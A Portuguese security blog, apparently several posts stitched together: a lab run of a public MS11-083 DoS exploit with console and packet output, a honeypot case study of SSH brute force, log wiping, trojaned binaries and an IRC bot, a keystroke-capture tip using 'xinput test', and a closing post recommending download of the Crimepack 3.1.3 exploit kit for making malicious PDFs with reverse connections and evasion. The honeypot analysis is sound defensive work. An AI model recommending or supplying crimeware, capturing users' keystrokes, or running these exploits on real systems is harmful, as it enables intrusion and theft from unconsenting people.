Depois de sair o exploit para a vulnerabilidade MS11-083 realizei a prova de conceito para verificar o que ocorre na tal situação.

A Mirosoft informou que para se explorada será necessário enviar aproximadamente 2^32 pacotes UDP para obter êxito na exploração.

No lab temos um Debian que faz o ataque e o Windows 2003 Standard com 1Gb de memória RAM 4 CPU’s que será atacado.

O exploit divulgado publicamente: http://packetstormsecurity.org/files/106873/winnuke2011.sh.txt , utilizei somente o código em C .

Compilando….

debian:~/2003# gcc -lpthread MS11-083.c -o MS11-083

debian:~/2003# ./MS11-083
[+] MS11-083 DoS/PoC exploit
[!] Usage : ./MS11-083 <server> <port>

No Windows.. tudo sobre controle..

Antes do Ataque

Começamos o ataque…

debian:~/2003# ./MS11-083 192.168.10.131 1000
[+] MS11-083 DoS/PoC exploit
[-] Sending payload ‘ZSW”<kc’ULJ=VK%XE-cP0*%(‘bORT=”;D”[c=S'
[-] Thread number 0 started
[-] Sending payload ’60&a;%=^,7FKMc[D=J>90J6Y7DR]*PC<&8′.%) ‘
[-] Thread number 1 started
[-] Sending payload ‘dCJe-f+65f9@NJhH-c”!?XU% (7#TDOhjIa+`=_)’
[-] Thread number 2 started
[-] Sending payload ‘/;.S”0:#dd=kSACiD=S!OLO#V/ZLP<]L`?,/D$’
[-] Thread number 3 started
[-] Sending payload ‘”S.Q]=JOT” (8%O)-4bF+NeN I@**A<.Di/RV\5>’
[-] Thread number 4 started
[-] Sending payload ‘Ag0BMF”FF[ aB]*9*UQi<2H!8X&LieC>`U1AKQ7B’
[-] Thread number 5 started
[-] Sending payload ‘,=aTOe9-]”A&,B-;:b,f0<@BVX#VbM’WQD;K_f’
[-] Thread number 6 started
[-] Sending payload ‘AH2M R!h\+#H>e.VD-bDI;1″JJ’ JeQG6Sg2C’
[-] Thread number 7 started
[-] Sending payload ‘*X-KOSYQF!86#M53C^f1Z+jM=*+[.e56&0h)kiQ'
[-] Thread number 8 started

Em questão de segundos veremos o gráfico de performace do Windows..

Após o ataque

Em outro console temos a saída do tcpdump

debian:~/2003# tcpdump -X -vvv -i eth0 dst host 192.168.10.131
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
23:47:47.221788 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T….
0×0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  …..}…1..bP]*
0×0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2′;:I!V
0×0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_”W#(MU6′A
0×0040:  465a 4b4c 00                             FZKL.
23:47:47.221846 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T….
0×0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  …..}…1..bP]*
0×0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2′;:I!V
0×0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_”W#(MU6′A
0×0040:  465a 4b4c 00                             FZKL.
23:47:47.221850 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T….
0×0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  …..}…1..bP]*
0×0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2′;:I!V
0×0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_”W#(MU6′A
0×0040:  465a 4b4c 00                             FZKL.
23:47:47.221853 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T….
0×0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  …..}…1..bP]*
0×0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2′;:I!V
0×0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_”W#(MU6′A
0×0040:  465a 4b4c 00                             FZKL.
23:47:47.221856 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 69) 192.168.10.128.33405 > 192.168.10.131.1000: [udp sum ok] UDP, length 41
0×0000:  4500 0045 0000 4000 4011 a454 c0a8 0a80  E..E..@.@..T….
0×0010:  c0a8 0a83 827d 03e8 0031 bee0 6250 5d2a  …..}…1..bP]*
0×0020:  3b2e 5028 246a 5d3d 5632 273b 3a49 2156  ;.P($j]=V2′;:I!V
0×0030:  2069 3a2d 3725 5f22 5723 284d 5536 2741  .i:-7%_”W#(MU6′A
0×0040:  465a 4b4c 00                             FZKL.

Nesta situação temos somente 1 computador atacando, o script esta utilizando toda a CPU do Debian.

PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
3541 root         20   0  273m    976  484   S  97.2     0.2           0:16.40 MS11-083

No atual lab não conseguimos causar um DoS no alvo, mas de acordo com os resultados vimos que isso seria possível seeeeeeeeee… o firewall estivesse desabilitado….

Agora vamos habilitar o firewall do windows, e voltaremos ao ataque e os gráficos…

Firewalled

Ou seja, o ataque pode ser mitigado sem muitos problemas. Para completar os 2^32 pacotes enviados levaria aproximadamente 52 dias, paramos por aqui sem a verdadeira prova que seria possível executar um código remotamente.

Mais informações sobre o Bug: http://technet.microsoft.com/en-us/security/bulletin/ms11-083

Resumindo, sempre firewall ativado e sistema atualizado!

Outro exploit e mais infos pode ser encontrado também em: http://blog.rootentropy.co.za/post/12567851289/ms11-083-traffic-capture

[]‘s

Sergito

http://pastebin.com/gWB76qmj

[]‘s

Sergito

Como??

A saída do PHPinfo() contém valores das variáveis PHP que utilizam o _GET, _POST e uploaded _FILES. Enquanto a requisição é feita, é escrito no /tmp um arquivo temporário que será a saída da chamada do phpinfo() que depois do processamento será deletada. Seguindo esta lógica… não conseguiu imaginar??

Segue o link do paper completo que foi descoberto pelo time da insomniasec: http://www.insomniasec.com/publications/LFI%20With%20PHPInfo%20Assistance.pdf

Não são em todas condições que é válido, mas na grande maioria..

[]‘s

Sérgito

O Samhain, um excelente Host Intrusion Detection System (HIDS) foi devidamente configurado para enviar os alertas por e-mail de cada mudança no sistema operacional.

No cenário suponhamos que um Sysadmin configurou incorretamente o servidor, foi criado um usuário sysctl com poderes de root para o acesso, capturar evidencias com o mínimo de tempo possível conectado ao servidor evitando deixar rastros

Overview do Sistema Operacional

             Vejamos abaixo as versões dos serviços e outras informações úteis do sistema operacional:

Serviços e Ferramentas:

Nmap:

Lembrando que nenhuma porta dos serviços instalados foram alteradas, tudo esta instalado como padrão do sistema.

Pronto!! O servidor esta no ar!! Com o Ip 189.100.65.245 e aguardando os mais variado tipos de ataques.

PRIMEIRA SEMANA

Nos primeiro dias nada de eventos, o samhain nada enviou nestes dois primeiros dias, o motivo disso é que o IP ainda não foi escaneado pelos bots da internet.

Porém no 3º dia começaram os brute forces, muitas conexões em cima do protocolo ssh, vejamos abaixo:

Este é um pequeno exemplo, abaixo os ip’s e suas origens…

Ip’s que fizeram tentativas ao servidor – Total 5

Até que certo momento…..

03:40:08 dns sshd[2715]: Accepted password for root from 59.175.146.230 port 37674 ssh2

Primeiro bot vencedor!!

Sep 17 06:06:24 dns sshd[2791]: Accepted password for root from 116.228.1.50 port 52201 ssh2

Segundo bot vencedor!!

07:24:49 dns sshd[2920]: Accepted password for root from 58.211.1.163 port 20693 ssh2

Terceiro bot vencedor!!

Mais alguns dias se passam e mais bots e seus brute forces….

Ip’s que fizeram tentativas ao servidor – Total 7

Ainda na primeira semana…

Acima temos um bot, de origem chilena, isto se ele não for um proxy de outro país, fez uma conexão ao servidor, obteve êxito e continua tentando mais senhas para o usuário root.

Ip’s que fizeram tentativas ao servidor Total 9

Primeiro acesso inteligente no servidor! um usuário criado!! com os poderes de root !!

Tivemos um acesso de origem argentina e logo após o usuário criado!!

17:56:48 dns sshd[5692]: Accepted password for root from 190.17.234.2 port 57557 ssh2

Mais um vencedor!!

07:48:04 dns sshd[15201]: Accepted password for root from 114.80.97.201 port 53137 ssh2

Como temos um fuso horário bem diferente do lado oriente, aqui são 12:00h, no outro lado do mundo são 00:00h, tivemos grande quantidade de tentativas após este horário pelo ip 61.16.240.36

Desta vez o usuário test foi citado nos logs!! mas sem sucesso

12:57:55 dns sshd[18226]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=61.16.240.36  user=test

Ip’s que fizeram tentativas ao servidor Total 10

16:57:15 dns sshd[20628]: Accepted password for root from 184.105.240.158 port 46134 ssh2

Finalmente o usuário ‘test’ foi descoberto…

16:58:00 dns sshd[20661]: Accepted password for test from 184.105.240.158 port 48938 ssh2

E muito próximo disto temos mais um acesso pelo usuário root…

Que desta vez foi mais esperto….

16:58:53 dns passwd[20687]: pam_unix(passwd:chauthtok): password changed for root

Até o momento, todos estes brute forces eram esperado, a partir de agora o que vier fará parte da inteligência do atacante, pois quem quer se esteja por trás do ip 92.85.189.160, não gosta de compartilhar um servidor com mais uns estrangeiros, visto que senha de root foi alterada.

Mas não podemos esquecer que existe um usuário ‘game’ com poderes de root no qual foi criado nesta semana, este ainda pode acabar com a festa…

Ip’s que fizeram tentativas ao servidor Total 11

Ao final desta semana tivemos diversos acessos ao servidor, que por sinal já esta bem comprometido, vejamos a saída do comando ‘last’:

Até o momento só vi logs e mais logs, algo que deixou em alerta são alguns acessos de longo período de atividade, a partir de amanhã levantarei quais foram as modificações realizadas no sistema operacional, pois os alertas do samhain estão cada vez mais comuns.

Para evitar perder algumas evidências, fiz algumas alterações para preservar os logs pois o atacante pode remover os logs a qualquer momento, já que esta é uma prática comum entre os hackers.

Também foi criado a variável HISTFILE dentro do arquivo .bashrc dos usuários ‘root’, ‘game’ e ‘test’ que são os mais acessados.

A seguinte linha foi adicionada no arquivo .bashrc destes usuários e também adicionada ao /etc/skel/.bashrc, pois caso houver a criação de algum usuário novo o mesmo levará consigo estas variáveis.

export HISTFILE=/usr/local/tmp/history_root

Cada usuário tem um arquivo diferente para armazenar os logs.

SEGUNDA SEMANA

             Logo de início temos mais um acesso pelo usuário ‘test’, por ele ser um usuário comum, teoricamente, muita coisa ele não poderá fazer, gostaríamos de ver algum exploit ou alguma técnica nova de escalação de privilégios….

Mais um descobridor do usuário ‘test’…

21:45:06 dns sshd[23978]: Accepted password for test from 79.117.72.85 port 1554 ssh2

Ip’s que fizeram tentativas ao servidor Total 14

Hoje ao logar no servidor e executar o comando ‘last’, que lista os últimos acessos ao servidor, me deparo com uma situação engraçada, antes era exibido uma lista grande de acesso como descrito um pouco acima, porém agora a lista esta menor, vejamos:

test     pts/2        79.117.72.85     Sat Sep 18 21:45   still logged in

É isto mesmo, tivemos os logs removidos!!

A última linha da saída do comando ‘last’ nos da uma informação valiosa, quer dizer que o novo arquivo de log foi iniciado em 18 de Setembro de 20010 ás 21:44:01h.

Analisando o arquivo gerado pelo tcpdump, vemos que o ultimo acesso ao servidor pela porta 22(ssh) teve origem do ip 92.85.189.160 (Romênia) e está muito próximo da data em que os logs foram removidos.

Nada garante que o atacante seja da origem do endereço ip, pois é muito comum entre os hackers a utilização de ‘nós’, ou seja, uma máquina comprometida em outro país seja utilizada como uma ponte para acesso a outro servidor, ou mesmo a utilização de proxy’s para acesso a outros servidores para dificultar a localização do atacante.

Outra evidência encontrada nesta semana foi a alteração dos binários do sistema, além do samhain ter alertado, também foi possível depois que foi executado o comando ‘ps’:

A partir deste momento, tudo o que é visualizado na tela pode não ser real, pois com os binários importantes manipulados, quem manipulou, filtra somente aquilo que deseja ser visível ao sysadmin, ou seja, conexões ou processos pode não ser visível sendo executado pelo binário modificado.

Um exemplo do comando ‘netstat’ no servidor:

E na verdade, o servidor esta servindo como ponte, e esta atacando outros servidores da mesma maneira que fui atacado, via brute force:

Abaixo a saída do comando ‘netstat’ de um binário limpo….

Este é somente um pequeno pedaço da saída do comando ‘netstat’.

Vemos que existe algumas conexões estabelecidas na porta 22 (ssh) e muitas outras com o sinal de ‘TIME_WAIT’.

Antes de prosseguir, o samhain nos informou por e-mail que no dia 17 de Setembro ás 23:16h, foram alterados uma série de arquivos no ‘/bin’, dentre eles o binário ‘ls’ não foi alterado, então podemos utilizá-lo para listar os arquivos.

Segue a lista de arquivos alterados:

drwxr-xr-x  2 root root 4,0K Set 17 23:16 .

Resumindo, tivemos os logs apagados e alguns binários modificados.

O samhain esta sendo de grande utilidade, pois seria impossível ficar analisando em tempo real os arquivos alterados.

Desta vez ele nos alertou do crontab, o agendados de taferas do linux. Ao verificar o que ocorreu, detectei uma entrada muito estranha:

Ao visualizarmos de perto esse script perl…

dns:~# cat /var/tmp/j/deltmp.pl

Na verdade tem a extensão .pl(Perl), mas é um script bash que faz coisas muito interessantes, vejamos…

1. Primeiramente verifica se existe o arquivo localizado em /var/tmp/j/mech.pid
2. Se existir, ele atribui á variável ‘pid’ o número do processoem execução. Naverdade se vermos o arquivo mech.pid teremos o número do processo:

dns:~# cat /var/tmp/j/mech.pid

5943

3. O processo é finalizado e o binário é executado novamente.

Mas o que este binário faz?? Visualizando o arquivo ‘run’, veremos….

Ele também é um script bash!! Que chama o arquivo ‘hide’ com uns parâmetros e logo após executa o binário ‘emech’ todos localizados no diretório ‘/var/tmp/j/’

O arquivo hide aparenta ser um binário malicioso que  camufla os processos e substitui por uma string ‘/usr/sbin/ssh’, vamos utilizar a ferramenta ‘strings’ para ver se conseguimos coletar algo….

Copiei somente o necessário para entendermos o binário, o arquivo por completo estará disponível para download através de uma URL descrita no final deste artigo.

Como se imaginava, o arquivo malicioso camufla o binário ‘emech’ que nos processos do sistema será visto como “/usr/sbin/sshd”.

Agora vamos atrás do binário ‘emech’, strings novamente…

File: emech

É isto mesmo!!! O servidor se tornou um servidor de IRC^. Visualizando melhor outros arquivos na pasta, encontramos…

Ou seja, se o processo for finalizado, ele executa-o novamente e sempre atualiza o crontab chamando o script caso o mesmo for removido.

TERCEIRA SEMANA

Buscando mais evidências, fui em busca do histórico de comandos do usuário ‘root’, que tínhamos direcionados para outra localização, e ao vermos o seu conteúdo…

Temos mais artefatos interessantes, vemos que o atacante removeu o conteúdo do diretório ‘/root’, alterou a senha do root e realizou alguns downloads.

Fui atrás deste arquivo ‘wakodi.tgz’ pela URL acima, porém a mesma não esta mais disponível. O wakodi é um software open source que te possibilita gerenciar um servidor via uma console web, algo muito semelhante ao conhecido Webmin.

Percebi que o atacante não esta utilizando mais o ssh para conectar no servidor, por isso o recurso de redirecionar o histórico de comandos não servirá mais pois ele esta utilizando o netcat para conectar ao servidor, percebi isso nos processos em execução e nas portas abertas, listando na saida do comando ‘netstat’.

Agora teremos que ter mais atenção, a conexão esta via protocolo tcp, porta 41890. Deixei o tcpdump em execução escutando esta porta para me auxiliar.

Vemos que o atacante fez o download de um arquivo compactado chamado sipscan.tgz, esta ferramenta de enumeration, que é utilizada para obter mais informações sobre um servidor SIP, também presente para plataforma windows. O atacante não conseguiu instalar e removeu o diretório do programa, tentamos fazer o download através do link, mas sem sucesso.

Como também não encontrei o arquivo ‘wakodi.tgz’ dentro do servidor, recorremos ao dump da memória, pelo menos para saber se o arquivo descompactado é realmente o software de gerenciamento ou se ele esta escondido em algum diretório.

O dump da memória requer muita paciência e estudo, pois muitas informações podemos categorizar nesta situação como “lixo” são exibidas na tela quando utilizado a ferramenta strings. Para realizar o dump será necessário ter espaço em disco para armazenar o arquivo, pois temos 1Gb de memória RAM, e o arquivo gerado pelo dump terá aproximadamente o tamanho da memória.

Para realizarmos o dump, utilizamos o comando ‘dd’, muito comum em sistemas operacionais linux!

dns:~# dd if=/dev/mem of=memory.dump

Pronto, agora temos o dump e podemos usar o strings para localizar alguma evidência.

dns:~# strings memory.dump >> memory.txt

Primeiro jogamos a saída do comando strings para um arquivo para analisarmos com mais calma. Vejamos abaixo.

….

Vemos que mesmo com os logs apagados ainda conseguiríamos resgatar informações muito valiosas com o dump da memória, uma delas são as tentativas de conexões via ssh e os ip’s de origem.

Na memória temos um binário sendo executado, ‘./atack’ e logo em seguida o que parece ser são usuários e senhas. Anteriormente detectei que o servidor estava servindo de ponte para ataques de brute force á outros servidores, este binário ‘atack’ deve nos informar quais são os alvos e as senhas do brute force.

O arquivo ‘wakodi.tgz’ foi descompactado e muitas coisas estavam ali dentro, dentre elas o binário ‘atack’. Vamos a busca!

Utilizando o comando ‘lsof’, presente nas distribuições linux, consegui localizar quais arquivos são utilizados em um processo específico, vamos atrás do processo atack, pid número27775. A saída do comando lsof abaixo:

Ao entrar no diretório ‘/tmp’, não encontramos o diretório ‘unixcod’ como descrito acima, mas se vermos bem, o nosso intruso criou uma pasta sem nome.

Vemos um diretório criado pelo usuário ‘test’, para acessarmos:

Vamos utilizar o strings para ver o que binário ‘atack’ nos informa…

e o conteúdo do arquivo ‘data.conf’

root root

No diretório localizei mais cinco arquivos onde continham usuário e senhas para o brute force, em um deles localizei a senha que tínhamos utilizado para o usuário ‘root’ do servidor, veja abaixo:

Mais artefatos!!

O script principal grava o endereço ip, usuário e senha dos alvos que obtiveram sucesso com o brute force grava no arquivo vuln.txt que também é enviado ao mafia89tm@yahoo.com.

Além do brute force, consegui até o e-mail do atacante/grupo, que neste ultimo script coleta diversas informações sobre o endereço ip, sistema operacional, espaço em disco, usuários do sistema etc…

Até o momento o arquivo vuln.txt esta vazio, abaixo veremos a lista de ip’s a serem atacados, localizado no arquivo texto ‘mfu.txt’, com um tamanho de 30kb.

No final desta terceira semana a quantidade de conexões de saída para diversos países do mundo era absurda, o processamento do servidor oscilava sempre entre 80% e 90% de uso.

Neste período não tive a oportunidade de ser testado com um exploit novo ou alguma técnica de exploração ou escalação de privilégios, porém devemos tomar atenção pois muitas coisas poderiam acontecer se o servidor ficasse por mais tempo online:

1. O servidor poderia a partir de qualquer momento escanear portas de diversos hosts ou qualquer tipo de crime eletrônico poderia levar a sérios problemas judiciais.

2. Proliferação de Spam a partir do servidor, isto também é um crime eletrônico.

3. Armazenamento de vírus e malwares com foco em ataques automatizados.

4. Ataques de Negação de Serviço

5. Servir como mais um nó das grandes redes de Botnets

Vejam:

trash@debian:/tmp$ xinput list

"Configured Mouse"      id=2    [XExtensionPointer]

Num_buttons is 9

Num_axes is 2

Mode is Relative

Motion_buffer is 256

Axis 0 :

Min_value is -1

Max_value is -1

Resolution is 1

Axis 1 :

Min_value is -1

Max_value is -1

Resolution is 1

"Generic Keyboard"      id=3    [XExtensionKeyboard]

Num_keys is 248

Min_keycode is 8

Max_keycode is 255

Temos acima, o  “Generic Keyboard” id=3

Passaremos por parâmetro o id que será o device que iremos capturar e mostrar os eventos recebidos.

trash@debian:/tmp$ xinput test 3

key release 36

key press   46

lkey release 46

key press   31

ikey release 31

nkey press   57

key release 57

ukey press   30

key release 30

xkey press   53

key release 53

Acima foi capturado todas as keycodes que foram digitadas pelo usuário “trash”, que no caso digitei a palavra “linux”. O “key release 36″ = ENTER

Caso não tenha o xinput, instale!! “aptitude install xinput” =D

Dica simples e “útil”

[]‘s

Sergito

Desta vez foi realizado uma engenharia reversa pelo Efim Bushmanov, que fez uma análise mais a fundo e publicou no seu blog os sources e binários.

Algo realmente muito interessante que você pode ver: http://skype-open-source.blogspot.com/2011/06/skype-protocol-reverse-engineered.html

Com os sources publicamente divulgados e a compra do Skype pela Microsoft, ééé, eu pensaria 2x antes de falar algo.

[]‘s

Sergito

http://sourceforge.net/projects/cyberoam-iview/

[]‘s

Sergito

Outro recurso novo é a criação de pdf’s maliciosos com diversas opções de conexões reversas e mutações evitando a detecção.

Vale a pena testar… antes de tudo, lembre-se!! vc irá precisar: Apache, PHP5, MySQL, libcurl, ioncube

No .zip contém instruções…

Download: Crimepack-3.1.3

[]‘s

Sergito

Download: http://www.backtrack-linux.org/downloads/

Recomendo!!

[]‘s

Sergito